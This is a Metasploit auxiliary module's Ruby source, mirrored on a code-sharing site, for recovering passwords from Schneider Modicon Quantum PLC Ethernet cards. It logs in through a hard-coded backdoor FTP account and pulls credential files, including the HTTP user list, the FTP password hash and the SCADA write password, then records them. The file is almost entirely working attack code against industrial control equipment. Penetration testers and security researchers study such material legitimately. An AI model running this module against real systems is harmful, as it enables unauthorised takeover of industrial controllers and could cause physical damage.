Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/scada/modicon_password_recovery.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Ftp
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Schneider Modicon Quantum Password Recovery',
15
'Description' => %q{
16
The Schneider Modicon Quantum series of Ethernet cards store usernames and
17
passwords for the system in files that may be retrieved via backdoor access.
18
19
This module is based on the original 'modiconpass.rb' Basecamp module from
20
DigitalBond.
21
},
22
'Author' => [
23
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
24
'todb' # Metasploit fixups
25
],
26
'License' => MSF_LICENSE,
27
'References' => [
28
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
29
],
30
'DisclosureDate' => '2012-01-19',
31
'Notes' => {
32
'Stability' => [CRASH_SAFE],
33
'SideEffects' => [IOC_IN_LOGS],
34
'Reliability' => []
35
}
36
)
37
)
38
39
register_options(
40
[
41
Opt::RPORT(21),
42
OptString.new('FTPUSER', [true, 'The backdoor account to use for login', 'ftpuser'], fallbacks: ['USERNAME']),
43
OptString.new('FTPPASS', [true, 'The backdoor password to use for login', 'password'], fallbacks: ['PASSWORD'])
44
]
45
)
46
47
register_advanced_options(
48
[
49
OptBool.new('RUN_CHECK', [false, 'Check if the device is really a Modicon device', true])
50
]
51
)
52
end
53
54
# Thinking this should be a standard alias for all aux
55
def ip
56
Rex::Socket.resolv_to_dotted(datastore['RHOST'])
57
end
58
59
def check_banner
60
banner == "220 FTP server ready.\r\n"
61
end
62
63
# TODO: If the username and password is correct, but this /isn't/ a Modicon
64
# device, then we're going to end up storing HTTP credentials that are not
65
# correct. If there's a way to fingerprint the device, it should be done here.
66
def check
67
is_modicon = false
68
vprint_status "#{ip}:#{rport} - FTP - Checking fingerprint"
69
begin
70
connect
71
rescue StandardError
72
nil
73
end
74
if sock
75
# It's a weak fingerprint, but it's something
76
is_modicon = check_banner
77
disconnect
78
else
79
vprint_error "#{ip}:#{rport} - FTP - Cannot connect, skipping"
80
return Exploit::CheckCode::Unknown
81
end
82
83
if is_modicon
84
vprint_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint"
85
return Exploit::CheckCode::Detected
86
end
87
88
vprint_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch"
89
90
return Exploit::CheckCode::Safe
91
end
92
93
def run
94
if datastore['RUN_CHECK'] && (check == Exploit::CheckCode::Detected)
95
print_status('Service detected.')
96
grab if setup_ftp_connection
97
elsif setup_ftp_connection
98
grab
99
end
100
end
101
102
def report_cred(opts)
103
service_data = {
104
address: opts[:ip],
105
port: opts[:port],
106
service_name: opts[:service_name],
107
protocol: 'tcp',
108
workspace_id: myworkspace_id
109
}
110
111
credential_data = {
112
origin_type: :service,
113
module_fullname: fullname,
114
username: opts[:user],
115
private_data: opts[:password],
116
private_type: :password
117
}.merge(service_data)
118
119
login_data = {
120
last_attempted_at: Time.now,
121
core: create_credential(credential_data),
122
status: Metasploit::Model::Login::Status::SUCCESSFUL,
123
proof: opts[:proof]
124
}.merge(service_data)
125
126
create_credential_login(login_data)
127
end
128
129
def setup_ftp_connection
130
vprint_status "#{ip}:#{rport} - FTP - Connecting"
131
conn = connect_login
132
133
unless conn
134
print_error("#{ip}:#{rport} - FTP - Login failed")
135
return false
136
end
137
138
print_good("#{ip}:#{rport} - FTP - Login succeeded")
139
report_cred(
140
ip: ip,
141
port: rport,
142
user: user,
143
password: pass,
144
service_name: 'modicon',
145
proof: "connect_login: #{conn}"
146
)
147
148
return true
149
end
150
151
def cleanup
152
begin
153
disconnect
154
rescue StandardError
155
nil
156
end
157
begin
158
data_disconnect
159
rescue StandardError
160
nil
161
end
162
end
163
164
# Echo the Net::FTP implementation
165
def ftp_gettextfile(fname)
166
vprint_status("#{ip}:#{rport} - FTP - Opening PASV data socket to download #{fname.inspect}")
167
data_connect('A')
168
send_cmd_data(['GET', fname.to_s], nil, 'A')
169
end
170
171
def grab
172
logins = Rex::Text::Table.new(
173
'Header' => 'Schneider Modicon Quantum services, usernames, and passwords',
174
'Indent' => 1,
175
'Columns' => ['Service', 'User Name', 'Password']
176
)
177
178
httpcreds = ftp_gettextfile('/FLASH0/userlist.dat')
179
if httpcreds
180
print_status "#{ip}:#{rport} - FTP - HTTP password retrieval: success"
181
else
182
print_status "#{ip}:#{rport} - FTP - HTTP default password presumed"
183
end
184
185
ftpcreds = ftp_gettextfile('/FLASH0/ftp/ftp.ini')
186
if ftpcreds
187
print_status "#{ip}:#{rport} - FTP - password retrieval: success"
188
else
189
print_error "#{ip}:#{rport} - FTP - password retrieval error"
190
end
191
192
writecreds = ftp_gettextfile('/FLASH0/rdt/password.rde')
193
if writecreds
194
print_status "#{ip}:#{rport} - FTP - Write password retrieval: success"
195
else
196
print_error "#{ip}:#{rport} - FTP - Write password error"
197
end
198
199
if httpcreds
200
httpuser = httpcreds[1].split(/[\r\n]+/)[0]
201
httppass = httpcreds[1].split(/[\r\n]+/)[1]
202
proof = "FTP PASV data socket: #{httpcreds}"
203
else
204
# Usual defaults
205
httpuser = 'USER'
206
httppass = 'USER'
207
proof = 'Usual defaults'
208
end
209
210
print_status("#{rhost}:#{rport} - FTP - Storing HTTP credentials")
211
logins << ['http', httpuser, httppass]
212
213
report_cred(
214
ip: ip,
215
port: rport,
216
service_name: 'http',
217
user: httpuser,
218
password: httppass,
219
proof: proof
220
)
221
222
logins << ['scada-write', '', writecreds[1]]
223
if writecreds # This is like an enable password, used after HTTP authentication.
224
report_note(
225
host: ip,
226
port: 80,
227
proto: 'tcp',
228
sname: 'http',
229
ntype: 'scada.modicon.write-password',
230
data: { :write_creds => writecreds[1] }
231
)
232
end
233
234
if ftpcreds
235
# TODO:
236
# Can we add a nicer dictionary? Revershing the hash
237
# using Metasploit's existing loginDefaultencrypt dictionary yields
238
# plaintexts that contain non-ascii characters for some hashes.
239
# check out entries starting at 10001 in /msf3/data/wordlists/vxworks_collide_20.txt
240
# for examples. A complete ascii rainbow table for loginDefaultEncrypt is ~2.6mb,
241
# and it can be done in just a few lines of ruby.
242
# See https://github.com/cvonkleist/vxworks_hash
243
modicon_ftpuser = ftpcreds[1].split(/[\r\n]+/)[0]
244
modicon_ftppass = ftpcreds[1].split(/[\r\n]+/)[1]
245
else
246
modicon_ftpuser = 'USER'
247
modicon_ftppass = 'USERUSER' # from the manual. Verified.
248
end
249
print_status("#{rhost}:#{rport} - FTP - Storing hashed FTP credentials")
250
# The collected hash is not directly reusable, so it shouldn't be an
251
# auth credential in the Cred sense. TheLightCosine should fix some day.
252
# Can be used for telnet as well if telnet is enabled.
253
report_note(
254
host: ip,
255
port: rport,
256
proto: 'tcp',
257
sname: 'ftp',
258
ntype: 'scada.modicon.ftp-password',
259
data: "User:#{modicon_ftpuser} VXWorks_Password:#{modicon_ftppass}"
260
)
261
logins << ['VxWorks', modicon_ftpuser, modicon_ftppass]
262
263
# Not this:
264
# report_auth_info(
265
# :host => ip,
266
# :port => rport,
267
# :proto => 'tcp',
268
# :sname => 'ftp',
269
# :user => modicon_ftpuser,
270
# :pass => modicon_ftppass,
271
# :type => 'password_vx', # It's a hash, not directly usable, but crackable
272
# :active => true
273
# )
274
print_line(logins.to_s)
275
end
276
end
277
278